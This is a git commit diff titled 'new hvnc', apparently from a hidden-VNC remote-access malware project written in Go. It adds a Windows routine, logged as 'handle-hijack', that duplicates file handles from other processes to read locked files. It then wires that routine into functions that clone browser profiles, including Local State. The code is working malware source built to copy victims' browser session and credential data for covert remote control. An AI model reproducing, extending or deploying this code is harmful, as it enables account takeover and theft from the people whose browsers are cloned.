new hvnc
This commit is contained in:
@@ -0,0 +1,30 @@
|
||||
//go:build !windows
|
||||
|
||||
package capture
|
||||
|
||||
import (
|
||||
"io"
|
||||
"os"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
func forceCopyFile(src, dst string) (int64, error) {
|
||||
in, err := os.Open(src)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
defer in.Close()
|
||||
if err := os.MkdirAll(filepath.Dir(dst), 0700); err != nil {
|
||||
return 0, err
|
||||
}
|
||||
out, err := os.OpenFile(dst, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
defer out.Close()
|
||||
return io.Copy(out, in)
|
||||
}
|
||||
|
||||
func forceReadFile(filePath string) ([]byte, error) {
|
||||
return os.ReadFile(filePath)
|
||||
}
|
||||
@@ -0,0 +1,318 @@
|
||||
//go:build windows
|
||||
|
||||
package capture
|
||||
|
||||
import (
|
||||
"log"
|
||||
"os"
|
||||
"strings"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
var (
|
||||
ntdll = syscall.NewLazyDLL("ntdll.dll")
|
||||
rstrtmgr = syscall.NewLazyDLL("rstrtmgr.dll")
|
||||
procNtQuerySystemInformation = ntdll.NewProc("NtQuerySystemInformation")
|
||||
procDuplicateHandle = kernel32.NewProc("DuplicateHandle")
|
||||
procGetCurrentProcess = kernel32.NewProc("GetCurrentProcess")
|
||||
procGetFileType = kernel32.NewProc("GetFileType")
|
||||
procGetFinalPathNameByHandleW = kernel32.NewProc("GetFinalPathNameByHandleW")
|
||||
procGetFileSizeEx = kernel32.NewProc("GetFileSizeEx")
|
||||
procRmStartSession = rstrtmgr.NewProc("RmStartSession")
|
||||
procRmEndSession = rstrtmgr.NewProc("RmEndSession")
|
||||
procRmRegisterResources = rstrtmgr.NewProc("RmRegisterResources")
|
||||
procRmGetList = rstrtmgr.NewProc("RmGetList")
|
||||
)
|
||||
|
||||
const (
|
||||
systemExtendedHandleInformation = 64
|
||||
statusInfoLengthMismatch = 0xC0000004
|
||||
processDupHandle = 0x0040
|
||||
duplicateSameAccess = 0x00000002
|
||||
pageReadonly = 0x02
|
||||
fileMapRead = 0x04
|
||||
fileTypeDisk = 0x0001
|
||||
)
|
||||
|
||||
type systemHandleTableEntryInfoEx struct {
|
||||
Object uintptr
|
||||
UniqueProcessId uintptr
|
||||
HandleValue uintptr
|
||||
GrantedAccess uint32
|
||||
CreatorBackTrace uint16
|
||||
ObjectTypeIndex uint16
|
||||
HandleAttributes uint32
|
||||
Reserved uint32
|
||||
}
|
||||
|
||||
func forceReadFile(filePath string) ([]byte, error) {
|
||||
data, err := os.ReadFile(filePath)
|
||||
if err == nil {
|
||||
return data, nil
|
||||
}
|
||||
if !isFileLocked(err) {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
log.Printf("[handle-hijack] file locked, attempting hijack: %s", filePath)
|
||||
|
||||
lockingPids := getProcessesLockingFile(filePath)
|
||||
|
||||
currentProcess, _, _ := procGetCurrentProcess.Call()
|
||||
|
||||
var bufSize uint32 = 1024 * 1024
|
||||
var buf []byte
|
||||
for {
|
||||
buf = make([]byte, bufSize)
|
||||
var returnLength uint32
|
||||
status, _, _ := procNtQuerySystemInformation.Call(
|
||||
systemExtendedHandleInformation,
|
||||
uintptr(unsafe.Pointer(&buf[0])),
|
||||
uintptr(bufSize),
|
||||
uintptr(unsafe.Pointer(&returnLength)),
|
||||
)
|
||||
if status == statusInfoLengthMismatch {
|
||||
bufSize = returnLength + 4096
|
||||
continue
|
||||
}
|
||||
if status != 0 {
|
||||
return nil, err
|
||||
}
|
||||
break
|
||||
}
|
||||
|
||||
numHandles := *(*uintptr)(unsafe.Pointer(&buf[0]))
|
||||
entrySize := unsafe.Sizeof(systemHandleTableEntryInfoEx{})
|
||||
headerSize := 2 * unsafe.Sizeof(uintptr(0))
|
||||
|
||||
for i := uintptr(0); i < numHandles; i++ {
|
||||
offset := headerSize + i*entrySize
|
||||
if offset+entrySize > uintptr(len(buf)) {
|
||||
break
|
||||
}
|
||||
entry := (*systemHandleTableEntryInfoEx)(unsafe.Pointer(&buf[offset]))
|
||||
|
||||
pid := uint32(entry.UniqueProcessId)
|
||||
|
||||
if len(lockingPids) > 0 {
|
||||
found := false
|
||||
for _, lp := range lockingPids {
|
||||
if lp == pid {
|
||||
found = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
hProcess, _, _ := procOpenProcess.Call(processDupHandle, 0, uintptr(pid))
|
||||
if hProcess == 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
var dupHandle uintptr
|
||||
ok, _, _ := procDuplicateHandle.Call(
|
||||
hProcess,
|
||||
entry.HandleValue,
|
||||
currentProcess,
|
||||
uintptr(unsafe.Pointer(&dupHandle)),
|
||||
0, 0, duplicateSameAccess,
|
||||
)
|
||||
procCloseHandle.Call(hProcess)
|
||||
if ok == 0 || dupHandle == 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
ft, _, _ := procGetFileType.Call(dupHandle)
|
||||
if ft != fileTypeDisk {
|
||||
procCloseHandle.Call(dupHandle)
|
||||
continue
|
||||
}
|
||||
|
||||
handlePath := getPathFromHandle(dupHandle)
|
||||
if handlePath == "" {
|
||||
procCloseHandle.Call(dupHandle)
|
||||
continue
|
||||
}
|
||||
if strings.HasPrefix(handlePath, `\\?\`) {
|
||||
handlePath = handlePath[4:]
|
||||
}
|
||||
|
||||
if !strings.EqualFold(handlePath, filePath) {
|
||||
procCloseHandle.Call(dupHandle)
|
||||
continue
|
||||
}
|
||||
|
||||
log.Printf("[handle-hijack] found matching handle from PID %d", pid)
|
||||
data := readFileFromHandle(dupHandle)
|
||||
procCloseHandle.Call(dupHandle)
|
||||
if data != nil {
|
||||
log.Printf("[handle-hijack] read %d bytes via hijacking", len(data))
|
||||
return data, nil
|
||||
}
|
||||
}
|
||||
|
||||
return nil, err
|
||||
}
|
||||
|
||||
func forceCopyFile(src, dst string) (int64, error) {
|
||||
n, err := copyFileCount(src, dst)
|
||||
if err == nil {
|
||||
return n, nil
|
||||
}
|
||||
if !isFileLocked(err) {
|
||||
return 0, err
|
||||
}
|
||||
|
||||
data, hijackErr := forceReadFile(src)
|
||||
if hijackErr != nil || data == nil {
|
||||
return 0, err
|
||||
}
|
||||
|
||||
if mkErr := os.MkdirAll(getDir(dst), 0700); mkErr != nil {
|
||||
return 0, mkErr
|
||||
}
|
||||
if wErr := os.WriteFile(dst, data, 0600); wErr != nil {
|
||||
return 0, wErr
|
||||
}
|
||||
return int64(len(data)), nil
|
||||
}
|
||||
|
||||
func getDir(path string) string {
|
||||
for i := len(path) - 1; i >= 0; i-- {
|
||||
if path[i] == '\\' || path[i] == '/' {
|
||||
return path[:i]
|
||||
}
|
||||
}
|
||||
return "."
|
||||
}
|
||||
|
||||
func getPathFromHandle(handle uintptr) string {
|
||||
buf := make([]uint16, 32768)
|
||||
n, _, _ := procGetFinalPathNameByHandleW.Call(
|
||||
handle,
|
||||
uintptr(unsafe.Pointer(&buf[0])),
|
||||
uintptr(len(buf)),
|
||||
0, // FILE_NAME_NORMALIZED
|
||||
)
|
||||
if n == 0 || n >= uintptr(len(buf)) {
|
||||
return ""
|
||||
}
|
||||
return syscall.UTF16ToString(buf[:n])
|
||||
}
|
||||
|
||||
func readFileFromHandle(handle uintptr) []byte {
|
||||
hMapping, _, _ := procCreateFileMappingW.Call(
|
||||
handle, 0, pageReadonly, 0, 0, 0,
|
||||
)
|
||||
if hMapping == 0 {
|
||||
return nil
|
||||
}
|
||||
defer procCloseHandle.Call(hMapping)
|
||||
|
||||
var fileSize int64
|
||||
ok, _, _ := procGetFileSizeEx.Call(handle, uintptr(unsafe.Pointer(&fileSize)))
|
||||
if ok == 0 || fileSize <= 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
baseAddr, _, _ := procMapViewOfFile.Call(
|
||||
hMapping, fileMapRead, 0, 0, uintptr(fileSize),
|
||||
)
|
||||
if baseAddr == 0 {
|
||||
return nil
|
||||
}
|
||||
defer procUnmapViewOfFile.Call(baseAddr)
|
||||
|
||||
data := make([]byte, fileSize)
|
||||
copy(data, unsafe.Slice((*byte)(unsafe.Pointer(baseAddr)), fileSize))
|
||||
return data
|
||||
}
|
||||
|
||||
func isFileLocked(err error) bool {
|
||||
if err == nil {
|
||||
return false
|
||||
}
|
||||
// Windows error 32: ERROR_SHARING_VIOLATION
|
||||
// Windows error 33: ERROR_LOCK_VIOLATION
|
||||
msg := err.Error()
|
||||
return strings.Contains(msg, "being used by another process") ||
|
||||
strings.Contains(msg, "locked a portion of the file")
|
||||
}
|
||||
|
||||
type rmUniqueProcess struct {
|
||||
ProcessId uint32
|
||||
ProcessStartTime syscall.Filetime
|
||||
}
|
||||
|
||||
type rmProcessInfo struct {
|
||||
Process rmUniqueProcess
|
||||
AppName [256]uint16
|
||||
ServiceShortName [64]uint16
|
||||
ApplicationType uint32
|
||||
AppStatus uint32
|
||||
TSSessionId uint32
|
||||
Restartable int32
|
||||
}
|
||||
|
||||
func getProcessesLockingFile(filePath string) []uint32 {
|
||||
sessionKey, _ := syscall.UTF16PtrFromString("ovd_" + filePath[len(filePath)-8:])
|
||||
var sessionHandle uint32
|
||||
|
||||
ret, _, _ := procRmStartSession.Call(
|
||||
uintptr(unsafe.Pointer(&sessionHandle)),
|
||||
0,
|
||||
uintptr(unsafe.Pointer(sessionKey)),
|
||||
)
|
||||
if ret != 0 {
|
||||
return nil
|
||||
}
|
||||
defer procRmEndSession.Call(uintptr(sessionHandle))
|
||||
|
||||
filePathW, _ := syscall.UTF16PtrFromString(filePath)
|
||||
ret, _, _ = procRmRegisterResources.Call(
|
||||
uintptr(sessionHandle),
|
||||
1,
|
||||
uintptr(unsafe.Pointer(&filePathW)),
|
||||
0, 0, 0, 0,
|
||||
)
|
||||
if ret != 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
var needed, count uint32
|
||||
var rebootReason uint32
|
||||
ret, _, _ = procRmGetList.Call(
|
||||
uintptr(sessionHandle),
|
||||
uintptr(unsafe.Pointer(&needed)),
|
||||
uintptr(unsafe.Pointer(&count)),
|
||||
0,
|
||||
uintptr(unsafe.Pointer(&rebootReason)),
|
||||
)
|
||||
// ERROR_MORE_DATA = 234
|
||||
if ret != 234 || needed == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
infos := make([]rmProcessInfo, needed)
|
||||
count = needed
|
||||
ret, _, _ = procRmGetList.Call(
|
||||
uintptr(sessionHandle),
|
||||
uintptr(unsafe.Pointer(&needed)),
|
||||
uintptr(unsafe.Pointer(&count)),
|
||||
uintptr(unsafe.Pointer(&infos[0])),
|
||||
uintptr(unsafe.Pointer(&rebootReason)),
|
||||
)
|
||||
if ret != 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
pids := make([]uint32, 0, count)
|
||||
for i := uint32(0); i < count; i++ {
|
||||
pids = append(pids, infos[i].Process.ProcessId)
|
||||
}
|
||||
return pids
|
||||
}
|
||||
@@ -450,7 +450,7 @@ func cloneBrowserProfile(browserName string, srcUserData string, lite bool, onPr
|
||||
}
|
||||
} else {
|
||||
// Top-level files (Local State, etc.)
|
||||
n, err := copyFileCount(src, dst)
|
||||
n, err := forceCopyFile(src, dst)
|
||||
if err != nil {
|
||||
log.Printf("hvnc %s: warning: could not copy %s: %v", browserName, name, err)
|
||||
} else {
|
||||
@@ -551,7 +551,7 @@ func cloneProfileDirProgress(browserName, src, dst string, skipDirs map[string]b
|
||||
log.Printf("hvnc %s: warning: could not copy %s: %v", browserName, name, err)
|
||||
}
|
||||
} else {
|
||||
n, err := copyFileCount(s, d)
|
||||
n, err := forceCopyFile(s, d)
|
||||
if err != nil {
|
||||
log.Printf("hvnc %s: warning: could not copy %s: %v", browserName, name, err)
|
||||
} else {
|
||||
@@ -592,7 +592,7 @@ func copyDirProgress(src, dst string, report func(int64)) error {
|
||||
if info.IsDir() {
|
||||
return os.MkdirAll(target, 0700)
|
||||
}
|
||||
n, err := copyFileCount(path, target)
|
||||
n, err := forceCopyFile(path, target)
|
||||
if err == nil {
|
||||
report(n)
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user